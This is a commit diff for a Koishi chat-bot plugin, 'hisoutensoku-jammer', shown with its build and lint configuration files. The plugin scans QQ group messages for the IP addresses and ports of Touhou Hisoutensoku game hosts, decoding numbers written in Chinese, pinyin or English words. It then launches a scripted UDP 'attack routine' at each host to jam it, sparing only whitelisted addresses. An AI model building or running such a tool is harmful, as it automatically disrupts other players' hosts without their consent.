Commit b86744bd authored by nanahira's avatar nanahira

rework

parent c3fea51d
# compiled output
/dist
/node_modules
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# OS
.DS_Store
# Tests
/coverage
/.nyc_output
# IDEs and editors
/.idea
.project
.classpath
.c9/
*.launch
.settings/
*.sublime-workspace
# IDE - VSCode
.vscode/*
!.vscode/settings.json
!.vscode/tasks.json
!.vscode/launch.json
!.vscode/extensions.json
/data
/output
/config.yaml
.git*
Dockerfile
.dockerignore
webpack.config.js
dist/*
build/*
\ No newline at end of file
module.exports = {
parser: '@typescript-eslint/parser',
parserOptions: {
project: 'tsconfig.json',
sourceType: 'module',
},
plugins: ['@typescript-eslint/eslint-plugin'],
extends: [
'plugin:@typescript-eslint/recommended',
'plugin:prettier/recommended',
],
root: true,
env: {
node: true,
jest: true,
},
ignorePatterns: ['.eslintrc.js'],
rules: {
'@typescript-eslint/interface-name-prefix': 'off',
'@typescript-eslint/explicit-function-return-type': 'off',
'@typescript-eslint/explicit-module-boundary-types': 'off',
'@typescript-eslint/no-explicit-any': 'off',
},
};
# compiled output
/dist
/node_modules
# Logs # Logs
logs logs
*.log *.log
...@@ -6,106 +10,29 @@ yarn-debug.log* ...@@ -6,106 +10,29 @@ yarn-debug.log*
yarn-error.log* yarn-error.log*
lerna-debug.log* lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html) # OS
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json .DS_Store
# Runtime data # Tests
pids /coverage
*.pid /.nyc_output
*.seed
*.pid.lock # IDEs and editors
/.idea
# Directory for instrumented libs generated by jscoverage/JSCover .project
lib-cov .classpath
.c9/
# Coverage directory used by tools like istanbul *.launch
coverage .settings/
*.lcov *.sublime-workspace
# nyc test coverage # IDE - VSCode
.nyc_output .vscode/*
!.vscode/settings.json
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) !.vscode/tasks.json
.grunt !.vscode/launch.json
!.vscode/extensions.json
# Bower dependency directory (https://bower.io/)
bower_components /data
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
# parcel-bundler cache (https://parceljs.org/)
.cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and *not* Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
/build
/output /output
/dest /config.yaml
/dist \ No newline at end of file
/config.yaml
.idea
/install-npm.sh /install-npm.sh
.git* .git*
/data
/output /output
/dest
/config.yaml /config.yaml
.idea .idea
.dockerignore .dockerignore
Dockerfile Dockerfile
\ No newline at end of file /src
{
"singleQuote": true,
"trailingComma": "all"
}
\ No newline at end of file
#!/bin/bash
npm install --save \
source-map-support \
koishi-thirdeye
npm install --save-dev \
@types/node \
typescript \
'@typescript-eslint/eslint-plugin@^4.28.2' \
'@typescript-eslint/parser@^4.28.2 '\
'eslint@^7.30.0' \
'eslint-config-prettier@^8.3.0' \
'eslint-plugin-prettier@^3.4.0' \
prettier \
raw-loader \
ts-loader \
webpack \
webpack-cli \
koishi@next \
ws
This diff is collapsed.
...@@ -3,43 +3,52 @@ ...@@ -3,43 +3,52 @@
"version": "3.0.8", "version": "3.0.8",
"description": "A Koishi Plugin jamming hisoutensoku plays in group.", "description": "A Koishi Plugin jamming hisoutensoku plays in group.",
"main": "dist/index.js", "main": "dist/index.js",
"dependencies": { "types": "dist/index.d.ts",
"source-map-support": "^0.5.19"
},
"peerDependencies": {
"koishi": "^4.0.0-beta.2"
},
"devDependencies": {
"@types/lodash": "^4.14.177",
"@types/node": "^15.0.1",
"koishi": "^4.0.0-beta.2",
"lodash": "^4.17.21",
"moment": "^2.29.1",
"raw-loader": "^4.0.2",
"ts-loader": "^9.1.1",
"ts-node": "^9.1.1",
"typescript": "^4.2.4",
"webpack": "^5.36.2",
"webpack-cli": "^4.6.0"
},
"scripts": { "scripts": {
"lint": "eslint --fix .",
"build": "webpack && env PACK_ALL=1 webpack" "build": "webpack && env PACK_ALL=1 webpack"
}, },
"repository": { "repository": {
"type": "git", "type": "git",
"url": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer.git" "url": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer.git"
}, },
"author": "Nanahira <nanahira@momobako.com>",
"license": "MIT",
"keywords": [ "keywords": [
"Koishi.js", "Koishi.js",
"hisouten",
"hisoutensoku",
"qqbot", "qqbot",
"cqhttp" "cqhttp"
], ],
"author": "Nanahira <nanahira@momobako.com>",
"license": "MIT",
"bugs": { "bugs": {
"url": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer/issues" "url": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer/issues"
}, },
"homepage": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer" "homepage": "https://code.mycard.moe/nanahira/koishi-plugin-hisoutensoku-jammer",
"peerDependencies": {
"koishi": "^4.0.0-beta.2"
},
"dependencies": {
"ip": "^1.1.5",
"koishi-thirdeye": "^3.0.5",
"lodash": "^4.17.21",
"moment": "^2.29.1",
"source-map-support": "^0.5.21"
},
"devDependencies": {
"@types/ip": "^1.1.0",
"@types/lodash": "^4.14.177",
"@types/node": "^16.11.9",
"@typescript-eslint/eslint-plugin": "^4.33.0",
"@typescript-eslint/parser": "^4.33.0",
"eslint": "^7.32.0",
"eslint-config-prettier": "^8.3.0",
"eslint-plugin-prettier": "^3.4.1",
"koishi": "^4.0.0-beta.2",
"prettier": "^2.4.1",
"raw-loader": "^4.0.2",
"ts-loader": "^9.2.6",
"typescript": "^4.5.2",
"webpack": "^5.64.2",
"webpack-cli": "^4.9.1",
"ws": "^8.2.3"
}
} }
import dgram from "dgram"; import dgram from 'dgram';
import _ from "lodash"; import _ from 'lodash';
const messageStage1 = [ const messageStage1 = [
1, 1,
...@@ -127,18 +127,18 @@ const AttackRoutine: AttackStep[] = [ ...@@ -127,18 +127,18 @@ const AttackRoutine: AttackStep[] = [
{ {
type: AttackType.Send, type: AttackType.Send,
message: messageStage1, message: messageStage1,
comment: "Discover", comment: 'Discover',
}, },
{ {
type: AttackType.Wait, type: AttackType.Wait,
message: smallMessage, message: smallMessage,
intervalMessage: messageStage1, intervalMessage: messageStage1,
comment: "First wait", comment: 'First wait',
}, },
{ {
type: AttackType.Send, type: AttackType.Send,
message: smallMessage, message: smallMessage,
comment: "Send a small message", comment: 'Send a small message',
}, },
/*{ /*{
type: AttackType.Wait, type: AttackType.Wait,
...@@ -149,9 +149,10 @@ const AttackRoutine: AttackStep[] = [ ...@@ -149,9 +149,10 @@ const AttackRoutine: AttackStep[] = [
{ {
type: AttackType.Send, type: AttackType.Send,
message: messageStage2, message: messageStage2,
comment: "Send final package", comment: 'Send final package',
}, },
]; ];
export class Attacker { export class Attacker {
address: string; address: string;
port: number; port: number;
...@@ -159,6 +160,7 @@ export class Attacker { ...@@ -159,6 +160,7 @@ export class Attacker {
socket: dgram.Socket; socket: dgram.Socket;
error: any; error: any;
currentWait: (msg: Buffer, rinfo: any) => void; currentWait: (msg: Buffer, rinfo: any) => void;
constructor(address: string, port: number, timeout: number) { constructor(address: string, port: number, timeout: number) {
this.address = address; this.address = address;
this.port = port; this.port = port;
...@@ -166,14 +168,16 @@ export class Attacker { ...@@ -166,14 +168,16 @@ export class Attacker {
this.currentWait = null; this.currentWait = null;
this.error = null; this.error = null;
} }
sendMessage(message: number[]): Promise<any> { sendMessage(message: number[]): Promise<any> {
return new Promise((done) => { return new Promise((done) => {
this.socket.send(Buffer.from(message), done); this.socket.send(Buffer.from(message), done);
}); });
} }
waitForReply( waitForReply(
messageToWait: number[], messageToWait: number[],
intervalMessage?: number[] intervalMessage?: number[],
): Promise<boolean> { ): Promise<boolean> {
let intv: NodeJS.Timeout = null; let intv: NodeJS.Timeout = null;
if (intervalMessage) { if (intervalMessage) {
...@@ -203,6 +207,7 @@ export class Attacker { ...@@ -203,6 +207,7 @@ export class Attacker {
}, this.timeout); }, this.timeout);
}); });
} }
async performStep(step: AttackStep): Promise<string> { async performStep(step: AttackStep): Promise<string> {
let err; let err;
switch (step.type) { switch (step.type) {
...@@ -220,13 +225,14 @@ export class Attacker { ...@@ -220,13 +225,14 @@ export class Attacker {
break; break;
} }
default: { default: {
return "Unknown step"; return 'Unknown step';
} }
} }
return null; return null;
} }
async attack(): Promise<string> { async attack(): Promise<string> {
this.socket = dgram.createSocket("udp4"); this.socket = dgram.createSocket('udp4');
let err: string = null; let err: string = null;
await new Promise<void>((done) => { await new Promise<void>((done) => {
this.socket.connect(this.port, this.address, () => { this.socket.connect(this.port, this.address, () => {
...@@ -237,12 +243,12 @@ export class Attacker { ...@@ -237,12 +243,12 @@ export class Attacker {
this.socket.close(); this.socket.close();
return `Failed to connect: ${connectionError.toString()}`; return `Failed to connect: ${connectionError.toString()}`;
}*/ }*/
this.socket.on("message", (msg, rinfo) => { this.socket.on('message', (msg, rinfo) => {
if (this.currentWait) { if (this.currentWait) {
this.currentWait(msg, rinfo); this.currentWait(msg, rinfo);
} }
}); });
this.socket.on("error", (err) => { this.socket.on('error', (err) => {
this.error = err; this.error = err;
}); });
for (let step of AttackRoutine) { for (let step of AttackRoutine) {
......
import _ from 'lodash';
const chineseCharacterWordList = [
{ character: '', value: 0 },
{ character: '', value: 1 },
{ character: '', value: 2 },
{ character: '', value: 3 },
{ character: '', value: 4 },
{ character: '', value: 5 },
{ character: '', value: 6 },
{ character: '', value: 7 },
{ character: '', value: 8 },
{ character: '', value: 9 },
{ character: '', value: '.' },
{ character: '', value: '.' },
{ character: '', value: 0 },
{ character: '', value: 1 },
{ character: '', value: 2 },
{ character: '', value: 3 },
{ character: '', value: 4 },
{ character: '', value: 5 },
{ character: '', value: 6 },
{ character: '', value: 7 },
{ character: '', value: 8 },
{ character: '', value: 9 },
{ character: 'zero', value: 0 },
{ character: 'one', value: 1 },
{ character: 'two', value: 2 },
{ character: 'three', value: 3 },
{ character: 'four', value: 4 },
{ character: 'five', value: 5 },
{ character: 'six', value: 6 },
{ character: 'seven', value: 7 },
{ character: 'eight', value: 8 },
{ character: 'nine', value: 9 },
{ character: '', value: 11 },
{ character: '', value: 12 },
{ character: '', value: 13 },
{ character: '', value: 14 },
{ character: '', value: 15 },
{ character: '', value: 16 },
{ character: '', value: 17 },
{ character: '', value: 18 },
{ character: '', value: 19 },
{ character: '', value: 20 },
{ character: 'ling', value: 0 },
{ character: 'yi', value: 1 },
{ character: 'er', value: 2 },
{ character: 'san', value: 3 },
{ character: 'si', value: 4 },
{ character: 'wu', value: 5 },
{ character: 'liu', value: 6 },
{ character: 'qi', value: 7 },
{ character: 'ba', value: 8 },
{ character: 'jiu', value: 9 },
{ character: 'shi', value: 10 },
{ character: '', value: 0 },
{ character: '', value: 0 },
{ character: '', value: 0 },
{ character: '', value: 1 },
{ character: '', value: 1 },
{ character: '', value: 1 },
{ character: '', value: 1 },
{ character: '', value: 1 },
{ character: '', value: 2 },
{ character: '', value: 2 },
{ character: '', value: 2 },
{ character: '', value: 3 },
{ character: '', value: 3 },
{ character: '', value: 3 },
{ character: '', value: 4 },
{ character: '', value: 4 },
{ character: '', value: 5 },
{ character: '', value: 5 },
{ character: '', value: 5 },
{ character: '', value: 5 },
{ character: '', value: 6 },
{ character: '', value: 6 },
{ character: '', value: 6 },
{ character: '', value: 7 },
{ character: '', value: 7 },
{ character: '', value: 7 },
{ character: '', value: 7 },
{ character: '', value: 7 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 8 },
{ character: '', value: 9 },
{ character: '', value: 9 },
{ character: '', value: 9 },
{ character: '', value: 9 },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
{ character: '', value: '' },
].map((l) => ({ character: l.character, value: l.value.toString() }));
const chineseCharacterWordGroup: Record<
string,
{ character: string; value: string }[]
> = _.groupBy(chineseCharacterWordList, 'value');
export const chineseCharacterList = Object.entries(
chineseCharacterWordGroup,
).map(([value, patternObjects]) => ({
value,
characterRegExp: new RegExp(
patternObjects.map((patternObject) => patternObject.character).join('|'),
'g',
),
}));
import 'source-map-support/register';
import { DefineSchema, RegisterSchema } from 'koishi-thirdeye';
import ip from 'ip';
@RegisterSchema()
export class HisoutensokuJammerPluginConfig {
@DefineSchema({ desc: '干扰时间', default: 10000 })
attackTimeout: number;
@DefineSchema({ desc: 'IP 白名单', default: [], type: 'string' })
addressWhitelist: string[];
getSubnet(addr: string) {
return ip.cidrSubnet(addr.includes('/') ? addr : `${addr}/32`);
}
isWhitelisted(addr: string) {
return this.addressWhitelist.some((whitelistAddr) =>
this.getSubnet(whitelistAddr).contains(addr),
);
}
}
export type HisoutensokuJammerPluginConfigLike = Partial<HisoutensokuJammerPluginConfig>;
import "source-map-support/register"; import 'source-map-support/register';
import { Logger, Context, Schema, segment } from "koishi"; import { Context, Logger, NextFunction, Session, Cache, segment } from 'koishi';
import { Attacker } from "./attacker"; import {
import moment from "moment"; HisoutensokuJammerPluginConfig,
import _ from "lodash"; HisoutensokuJammerPluginConfigLike,
} from './config';
import {
KoishiPlugin,
InjectConfig,
UseMiddleware,
InjectLogger,
Inject,
UseEvent,
} from 'koishi-thirdeye';
import { Attacker } from './attacker';
import moment from 'moment';
import { chineseCharacterList } from './chinese-replace';
export * from './config';
export interface HisoutensokuJammerConfig { declare module 'koishi' {
attackTimeout?: number; interface Modules {
addressWhitelist?: string[]; 'hisoutensoku-jammer': typeof import('.');
}
namespace Cache {
interface Tables {
lastMessages: string;
}
}
} }
const chineseCharacterWordList = [ const matcherGlobal = /([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g;
{ character: "", value: 0 }, const matcherSingle = /([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/;
{ character: "", value: 1 },
{ character: "", value: 2 }, @KoishiPlugin({
{ character: "", value: 3 }, name: 'hisoutensoku-jammer',
{ character: "", value: 4 }, schema: HisoutensokuJammerPluginConfig,
{ character: "", value: 5 }, })
{ character: "", value: 6 }, export default class HisoutensokuJammerPlugin {
{ character: "", value: 7 }, constructor(
{ character: "", value: 8 }, private ctx: Context,
{ character: "", value: 9 }, config: HisoutensokuJammerPluginConfigLike,
{ character: "", value: "." }, ) {}
{ character: "", value: "." },
{ character: "", value: 0 },
{ character: "", value: 1 },
{ character: "", value: 2 },
{ character: "", value: 3 },
{ character: "", value: 4 },
{ character: "", value: 5 },
{ character: "", value: 6 },
{ character: "", value: 7 },
{ character: "", value: 8 },
{ character: "", value: 9 },
{ character: "zero", value: 0 },
{ character: "one", value: 1 },
{ character: "two", value: 2 },
{ character: "three", value: 3 },
{ character: "four", value: 4 },
{ character: "five", value: 5 },
{ character: "six", value: 6 },
{ character: "seven", value: 7 },
{ character: "eight", value: 8 },
{ character: "nine", value: 9 },
{ character: "", value: 11 },
{ character: "", value: 12 },
{ character: "", value: 13 },
{ character: "", value: 14 },
{ character: "", value: 15 },
{ character: "", value: 16 },
{ character: "", value: 17 },
{ character: "", value: 18 },
{ character: "", value: 19 },
{ character: "", value: 20 },
{ character: "ling", value: 0 },
{ character: "yi", value: 1 },
{ character: "er", value: 2 },
{ character: "san", value: 3 },
{ character: "si", value: 4 },
{ character: "wu", value: 5 },
{ character: "liu", value: 6 },
{ character: "qi", value: 7 },
{ character: "ba", value: 8 },
{ character: "jiu", value: 9 },
{ character: "shi", value: 10 },
{ character: "", value: 0 },
{ character: "", value: 0 },
{ character: "", value: 0 },
{ character: "", value: 1 },
{ character: "", value: 1 },
{ character: "", value: 1 },
{ character: "", value: 1 },
{ character: "", value: 1 },
{ character: "", value: 2 },
{ character: "", value: 2 },
{ character: "", value: 2 },
{ character: "", value: 3 },
{ character: "", value: 3 },
{ character: "", value: 3 },
{ character: "", value: 4 },
{ character: "", value: 4 },
{ character: "", value: 5 },
{ character: "", value: 5 },
{ character: "", value: 5 },
{ character: "", value: 5 },
{ character: "", value: 6 },
{ character: "", value: 6 },
{ character: "", value: 6 },
{ character: "", value: 7 },
{ character: "", value: 7 },
{ character: "", value: 7 },
{ character: "", value: 7 },
{ character: "", value: 7 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 8 },
{ character: "", value: 9 },
{ character: "", value: 9 },
{ character: "", value: 9 },
{ character: "", value: 9 },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
{ character: "", value: "" },
].map((l) => ({ character: l.character, value: l.value.toString() }));
const chineseCharacterWordGroup: Record<
string,
{ character: string; value: string }[]
> = _.groupBy(chineseCharacterWordList, "value");
const chineseCharacterList = Object.entries(chineseCharacterWordGroup).map(
([value, patternObjects]) => ({
value,
characterRegExp: new RegExp(
patternObjects.map((patternObject) => patternObject.character).join("|"),
"g"
),
})
);
class HisoutensokuJammer { @InjectLogger()
log: Logger; private log: Logger;
lastMessageMap = new Map<string, string>();
constructor(private ctx: Context, private config: HisoutensokuJammerConfig) { @Inject('cache')
this.log = ctx.logger("hisoutensoku-jammer"); private cache: Cache;
@UseEvent('service/cache')
initializeCacheTable() {
this.cache.table('lastMessages', { maxAge: 600000 });
} }
apply() { @InjectConfig()
this.ctx.middleware(async (session, next) => { private config: HisoutensokuJammerPluginConfig;
const sender = session.userId;
const message = session.content; @UseMiddleware()
this.handleMessage(message, sender).then(); async onMessage(session: Session, next: NextFunction) {
return next(); this.handleMessage(session.content, session.userId).then();
}); return next();
} }
combineMessage(message: string) { private combineMessage(message: string) {
const segmentChain = segment.parse(message); const segmentChain = segment.parse(message);
const textSegments = segmentChain.filter( const textSegments = segmentChain.filter(
(segment) => segment.type === "text" (segment) => segment.type === 'text',
); );
return textSegments return textSegments
.map((segment) => segment.data.content) .map((segment) => segment.data.content)
.join("") .join('')
.trim(); .trim();
} }
async handleMessage(message: string, sender: string) { async handleMessage(message: string, sender: string) {
let realMessage = this.combineMessage(message) let receivedMessage = this.combineMessage(message)
.split("\n") .split('\n')
.join(" ") .join(' ')
.toLowerCase(); .toLowerCase();
for (const chineseCharacter of chineseCharacterList) { for (const chineseCharacter of chineseCharacterList) {
realMessage = realMessage.replace( receivedMessage = receivedMessage.replace(
chineseCharacter.characterRegExp, chineseCharacter.characterRegExp,
chineseCharacter.value chineseCharacter.value,
); );
} }
const lastMessage = this.lastMessageMap.get(sender);
this.lastMessageMap.set(sender, realMessage); const lastMessage = await this.cache.get('lastMessages', sender);
let messageMatch: RegExpMatchArray = realMessage.match( let messageMatch = receivedMessage.match(matcherGlobal);
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g if (lastMessage) {
); receivedMessage = `${lastMessage} ${receivedMessage}`;
if (!messageMatch && lastMessage) { if (!messageMatch) {
const combinedMessage = `${lastMessage} ${realMessage}`; messageMatch = receivedMessage.match(matcherGlobal);
messageMatch = combinedMessage.match( }
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/g
);
} }
if (!messageMatch) { if (!messageMatch) {
await this.cache.set('lastMessages', sender, receivedMessage);
return; return;
} }
await this.cache.del('lastMessages', sender);
const attackPromises = messageMatch.map((pattern) => { const attackPromises = messageMatch.map((pattern) => {
const patternMatch = pattern.match( const patternMatch = pattern.match(matcherSingle);
/([1-2]? *\d? *\d *)(([^\d][1-2]?\d{1,2}){3}).+?([1-6] *\d *\d *\d *\d)/ const firstDigit = patternMatch[1].replace(/ +/g, '');
);
const firstDigit = patternMatch[1].replace(/ +/g, "");
const address = `${firstDigit}.${patternMatch[2] const address = `${firstDigit}.${patternMatch[2]
.slice(1) .slice(1)
.split(/[^\d]/) .split(/[^\d]/)
.join(".")}`; .join('.')}`;
const port = parseInt(patternMatch[4].replace(/ +/g, "")); const port = parseInt(patternMatch[4].replace(/ +/g, ''));
return this.startAttack(address, port); return this.startAttack(address, port);
}); });
const results: boolean[] = await Promise.all(attackPromises); const results: boolean[] = await Promise.all(attackPromises);
} }
async startAttack(address: string, port: number): Promise<boolean> { async startAttack(address: string, port: number): Promise<boolean> {
if (this.config.addressWhitelist.includes(address)) { if (this.config.isWhitelisted(address)) {
this.log.info(`Attack of ${address}:${port} skipped.`); this.log.info(`Attack of ${address}:${port} skipped.`);
return false; return false;
} }
...@@ -217,13 +135,3 @@ class HisoutensokuJammer { ...@@ -217,13 +135,3 @@ class HisoutensokuJammer {
return true; return true;
} }
} }
export const name = "hisoutensoku-jammer";
export const schema: Schema<HisoutensokuJammerConfig> = Schema.object({
attackTimeout: Schema.number("干扰时间。").default(10000),
addressWhitelist: Schema.array(Schema.string(), "IP 白名单").default([]),
});
export function apply(ctx: Context, config: HisoutensokuJammerConfig) {
const hisoutensokuJammer = new HisoutensokuJammer(ctx, config);
hisoutensokuJammer.apply();
}
...@@ -2,7 +2,7 @@ ...@@ -2,7 +2,7 @@
"compilerOptions": { "compilerOptions": {
"outDir": "dist", "outDir": "dist",
"module": "commonjs", "module": "commonjs",
"target": "esnext", "target": "es2021",
"esModuleInterop": true, "esModuleInterop": true,
"emitDecoratorMetadata": true, "emitDecoratorMetadata": true,
"experimentalDecorators": true, "experimentalDecorators": true,
...@@ -13,6 +13,6 @@ ...@@ -13,6 +13,6 @@
"allowJs": true, "allowJs": true,
"include": [ "include": [
"*.ts", "*.ts",
"src/*.ts" "src/**/*.ts"
] ]
} }
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment